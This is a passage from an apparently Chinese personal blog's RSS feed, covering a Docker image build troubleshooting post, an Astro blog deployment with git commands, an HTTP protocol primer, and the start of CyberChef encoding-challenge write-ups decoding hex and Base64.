&lt;code&gt;-t&lt;/code&gt; 是 tag， &lt;code&gt;-t img-check&lt;/code&gt; 是给镜像命名为 &lt;code&gt;img-check&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;.&lt;/code&gt; 使用当前目录作为构建上下文，即 &lt;code&gt;Dockerfile&lt;/code&gt; 等文件的路径。&lt;/p&gt;&lt;p&gt;构建失败了。在日志中可以找到这一条：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;u&gt;FROM python&amp;lt;3&amp;gt;.11-slim&lt;/u&gt;&lt;br /&gt;
failed to fetch oauth token: Post “&lt;a href=&quot;https://auth.docker.io/token&quot; target=&quot;_blank&quot;&gt;https://auth.docker.io/token&lt;/a&gt;”: dial tcp 103.230.123.190:443: i/o timeout&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;这个 &lt;code&gt;i/o timeout&lt;/code&gt; 错误是一个网络连接问题，根源在于无法稳定地访问 Docker Hub 的认证服务器（auth.docker.io）&lt;br /&gt;
我一开始尝试配置 docker desktop 的 Proxies 解决这个问题，但构建的时候似乎不会走 docker desktop 设置的代理，怎么改都没有用。&lt;br /&gt;
多次尝试之后我发现，启动代理软件的 &lt;code&gt;虚拟网卡&lt;/code&gt; 选项，可以正常的完成构建。如果你使用的代理软件没有这个选项，启动 &lt;code&gt;TUN&lt;/code&gt; 或许也可以解决这个问题。&lt;/p&gt;&lt;p&gt;Some time later…&lt;br /&gt;
构建十多分钟都没构完是怎样啊……&lt;br /&gt;
虽然可以连上服务器了，但是似乎不是很稳定，构建日志多次出现 &lt;code&gt;Err:404 http://deb.debian.org/debian trixie/main arm64 pyqt6-dev-tools all 6.9.0-2&lt;/code&gt; 和 &lt;code&gt;502 Bad Gateway [IP: 28.0.0.11 80]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;配置国内镜像源或许可以解决这个问题。&lt;br /&gt;
在 &lt;code&gt;Docker Engine&lt;/code&gt; 中编辑：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;builder&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;gc&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;defaultKeepStorage&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;20GB&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;experimental&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;registry-mirrors&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;https://docker.xuanyuan.me&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;https://docker.1ms.run&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;终于构建成功了……&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;运行容器&lt;a href=&quot;#运行容器&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;输入 &lt;code&gt;docker run --rm -v $(pwd):/app img-check&lt;/code&gt; 运行容器。&lt;br /&gt;
从输出看应该是没有问题了。&lt;/p&gt;&lt;p&gt;&lt;code&gt;docker run&lt;/code&gt; 启动一个新的容器。&lt;br /&gt;
&lt;code&gt;--rm&lt;/code&gt; 容器停止后自动删除。&lt;br /&gt;
&lt;code&gt;-v $(pwd):/app&lt;/code&gt; 将当前目录映射到容器内的 /app 目录。 &lt;code&gt;$(pwd)&lt;/code&gt; 在执行的时候会被替换为当前目录的绝对路径。&lt;br /&gt;
&lt;code&gt;img-check&lt;/code&gt; 指定要运行的镜像名称。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;为什么有两个 &lt;code&gt;RUN&lt;/code&gt;&lt;a href=&quot;#为什么有两个-run&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Docker 镜像是由一系列只读的层堆叠起来的，每一层记录了对文件系统的一次改动。容器就是启动的时候添加在镜像最上层的可写的层。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FROM python:3.11-slim      # 层 1：基础镜像（本身也由多层组成）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RUN apt-get update ...     # 层 2：安装系统工具&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RUN pip install ...        # 层 3：安装 Pillow&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;COPY main.py .             # 层 4：复制脚本&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;CMD [&quot;python&quot;, &quot;main.py&quot;]  # 层 5：设置启动命令（不产生文件改动，是元数据）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;实际上的容器环境类似这样：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;┌─────────────────────────────────────┐&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│           容器可写层（运行时可写）     │  ← 容器运行时加的&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├─────────────────────────────────────┤&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│ 层 5: CMD [&quot;python&quot;, &quot;main.py&quot;]      │  ← 元数据，不改变文件&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├─────────────────────────────────────┤&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│ 层 4: COPY main.py .                 │  ← 添加了 main.py 文件&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├─────────────────────────────────────┤&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│ 层 3: RUN pip install Pillow         │  ← 添加了 Pillow 库文件&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├─────────────────────────────────────┤&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│ 层 2: RUN apt-get install ...        │  ← 添加了 file/exiftool 等命令&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├─────────────────────────────────────┤&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│ 层 1: FROM python:3.11-slim          │  ← Debian + Python 基础文件&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└─────────────────────────────────────┘&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Docker 在构建镜像时，每一层都有缓存。如果某一层没有变化，Docker 就直接复用之前的缓存结果，不会重新执行。&lt;br /&gt;
将 系统依赖 和 python依赖 分开，用两个 &lt;code&gt;RUN&lt;/code&gt; 分别安装，可以避免只有其中一个更新时重新安装所有依赖。&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>想要成为Web手</title><link>https://kesazake.top/posts/ctf/web/%E6%83%B3%E8%A6%81%E6%88%90%E4%B8%BAweb%E6%89%8B/</link><guid isPermaLink="true">https://kesazake.top/posts/ctf/web/%E6%83%B3%E8%A6%81%E6%88%90%E4%B8%BAweb%E6%89%8B/</guid><description>有没有什么不努力就学会web的办法啊……</description><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;基础&lt;a href=&quot;#基础&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;认识HTTP&lt;a href=&quot;#认识http&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;/posts/ctf/web/http%E5%8D%8F%E8%AE%AE/&quot;&gt;HTTP协议&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>blog的部署</title><link>https://kesazake.top/posts/%E9%9A%8F%E7%AC%94/blog%E9%83%A8%E7%BD%B2/</link><guid isPermaLink="true">https://kesazake.top/posts/%E9%9A%8F%E7%AC%94/blog%E9%83%A8%E7%BD%B2/</guid><description>blog的部署过程</description><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;搜索到的文档&lt;a href=&quot;#搜索到的文档&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;搭建博客的时候，没有浏览很多教学视频，在朋友的推荐下选择了Astro，随后在Astro的主题中选择了 &lt;a href=&quot;https://astro.build/themes/details/firefly/&quot; target=&quot;_blank&quot;&gt;Firefly&lt;/a&gt;&lt;/p&gt;&lt;p&gt;作者撰写了非常详细的 &lt;a href=&quot;https://docs-firefly.cuteleaf.cn/zh/&quot; target=&quot;_blank&quot;&gt;使用文档&lt;/a&gt; ，按照文档一步步操作，非常顺利的完成了配置和部署。&lt;/p&gt;&lt;p&gt;虽然文档只给出了环境要求而没有指导如何安装，但其实问一下AI就可以很好的完成。&lt;/p&gt;&lt;p&gt;作者的使用文档很详细，所以我实在没有什么可以再写的了。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;使用到的命令&lt;a href=&quot;#使用到的命令&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;克隆项目原始仓库&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git clone https://github.com/CuteLeaf/Firefly.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;绑定自己的仓库&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git remote set-url origin (自己的仓库地址)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;暂存修改&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git add .&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;提交&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git commit -m &quot;(提交信息)&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;推送&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git push -u origin main  # 首次&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git push                 # 后续&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;</content:encoded></item><item><title>HTTP协议</title><link>https://kesazake.top/posts/ctf/web/http%E5%8D%8F%E8%AE%AE/</link><guid isPermaLink="true">https://kesazake.top/posts/ctf/web/http%E5%8D%8F%E8%AE%AE/</guid><description>HTTP协议到底是什么……</description><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/Overview&quot; target=&quot;_blank&quot;&gt;MDN-HTTP指南&lt;/a&gt;&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;HTTP请求&lt;a href=&quot;#http请求&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;HTTP 请求是由客户端发出的消息，使服务器执行动作。&lt;br /&gt;
请求包括起始行，标头和主体。&lt;/p&gt;&lt;section&gt;&lt;h3&gt;起始行&lt;a href=&quot;#起始行&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;起始行包含三个元素：&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Methods&quot; target=&quot;_blank&quot;&gt;方法&lt;/a&gt;，描述要执行的动作。&lt;/li&gt;
&lt;li&gt;目标，通常是一个URL，或者是协议、端口和域名的绝对路径。&lt;/li&gt;
&lt;li&gt;HTTP 版本&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;请求的标头（Header）&lt;a href=&quot;#请求的标头header&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers&quot; target=&quot;_blank&quot;&gt;标头&lt;/a&gt;是不区分大小写的字符串，紧跟着冒号和值。&lt;br /&gt;
整个标头（包括值）由一行组成，这一行可以相当长。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;请求的主体（Body）&lt;a href=&quot;#请求的主体body&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;请求的最后一部分是它的主体。&lt;br /&gt;
不是所有的请求都有一个主体，例如获取资源的请求。&lt;br /&gt;
像 GET、HEAD、DELETE 和 OPTIONS，通常它们不需要主体。&lt;br /&gt;
有些请求将数据发送到服务器以便更新数据，常见的情况是 POST 请求（包含 HTML 表单数据）。&lt;/p&gt;&lt;p&gt;主体大致可分为两类：&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;单一资源（Single-resource）主体，由一个单文件组成。该类型的主体由两个标头定义：Content-Type 和 Content-Length。&lt;/li&gt;
&lt;li&gt;多资源（Multiple-resource）主体，由多部分主体组成，每一部分包含不同的信息位。通常是和 HTML 表单连系在一起。&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;HTTP响应（status line）&lt;a href=&quot;#http响应status-line&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;状态行&lt;a href=&quot;#状态行&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;HTTP 响应的起始行被称作状态行（status line），包含以下信息：&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;协议版本，通常为 HTTP/1.1&lt;/li&gt;
&lt;li&gt;状态码（status code），表明请求是成功或失败。&lt;/li&gt;
&lt;li&gt;状态文本（status text）。一个简短的，纯粹的信息，帮助人们理解该 HTTP 消息。&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;一个典型的状态行看起来像这样：HTTP/1.1 404 Not Found。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;响应的标头（Header）&lt;a href=&quot;#响应的标头header&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;响应的 &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers&quot; target=&quot;_blank&quot;&gt;HTTP 标头&lt;/a&gt;遵循和任何其他标头相同的结构：不区分大小写的字符串，紧跟着冒号和值。 整个标头（包括其值）表现为单行形式。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;响应的主体（Body）&lt;a href=&quot;#响应的主体body&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;响应的最后一部分是主体。不是所有的响应都有主体。具有状态码（如 201 或 204）的响应，通常不会有主体。&lt;br /&gt;
许多不同的标头可能会出现在响应中。这些可以分为几组：&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;通用标头（General header），例如 Via，适用于整个消息。&lt;/li&gt;
&lt;li&gt;响应标头（Response header），例如 Vary 和 Accept-Ranges，提供有关服务器的其他信息，这些信息不适合状态行。&lt;/li&gt;
&lt;li&gt;表示标头（Representation header），例如 Content-Type 描述了消息数据的原始格式和应用的任意编码（仅在消息有主体时才存在）。&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>CyberChef challenge</title><link>https://kesazake.top/posts/ctf/misc/cyberchef-challenge/</link><guid isPermaLink="true">https://kesazake.top/posts/ctf/misc/cyberchef-challenge/</guid><description>CyberChef challenge系列挑战的解密配方</description><pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;#1 Hexadecimal&lt;a href=&quot;#1-hexadecimal&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;43 6f 6e 67 72 61 74 75 6c 61 74 69 6f 6e 73 2c 20 79 6f 75 20 68 61 76 65 20 63 6f 6d 70 6c 65 74 65 64 20 43 79 62 65 72 43 68 65 66 20 63 68 61 6c 6c 65 6e 67 65 20 23 31 21 0a 0a 54 68 69 73 20 63 68 61 6c 6c 65 6e 67 65 20 65 78 70 6c 6f 72 65 64 20 68 65 78 61 64 65 63 69 6d 61 6c 20 65 6e 63 6f 64 69 6e 67 2e 20 54 6f 20 6c 65 61 72 6e 20 6d 6f 72 65 2c 20 76 69 73 69 74 20 77 69 6b 69 70 65 64 69 61 2e 6f 72 67 2f 77 69 6b 69 2f 48 65 78 61 64 65 63 69 6d 61 6c 2e 0a 0a 54 68 65 20 63 6f 64 65 20 66 6f 72 20 74 68 69 73 20 63 68 61 6c 6c 65 6e 67 65 20 69 73 20 39 64 34 63 62 63 65 66 2d 62 65 35 32 2d 34 37 35 31 2d 61 32 62 32 2d 38 33 33 38 65 36 34 30 39 34 31 36 20 28 6b 65 65 70 20 74 68 69 73 20 70 72 69 76 61 74 65 29 2e 0a 0a 54 68 65 20 6e 65 78 74 20 63 68 61 6c 6c 65 6e 67 65 20 63 61 6e 20 62 65 20 66 6f 75 6e 64 20 61 74 20 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e 63 6f 6d 2f 47 53 6e 54 41 6d 6b 56 2e&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;转十进制对应ASCII：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #1!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored hexadecimal encoding. To learn more, visit wikipedia.org/wiki/Hexadecimal.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/GSnTAmkV.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Hex&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#2 Base64&lt;a href=&quot;#2-base64&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Q29uZ3JhdHVsYXRpb25zLCB5b3UgaGF2ZSBjb21wbGV0ZWQgQ3liZXJDaGVmIGNoYWxsZW5nZSAjMiEKClRoaXMgY2hhbGxlbmdlIGV4cGxvcmVkIEJhc2U2NCBlbmNvZGluZy4gVG8gbGVhcm4gbW9yZSwgdmlzaXQgd2lraXBlZGlhLm9yZy93aWtpL0Jhc2U2NC4KClRoZSBjb2RlIGZvciB0aGlzIGNoYWxsZW5nZSBpcyAzYjlmYWUxZC05M2ZlLTRmMmUtYWIxMC03OGQzYzRmNTI3ODQuCgpUaGUgbmV4dCBjaGFsbGVuZ2UgY2FuIGJlIGZvdW5kIGF0IGh0dHBzOi8vcGFzdGViaW4uY29tL0xNUVRpWEEyLg==&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;常见的base64编码，字符集是A-Za-z0-9+/=，解码得到明文：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #2!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
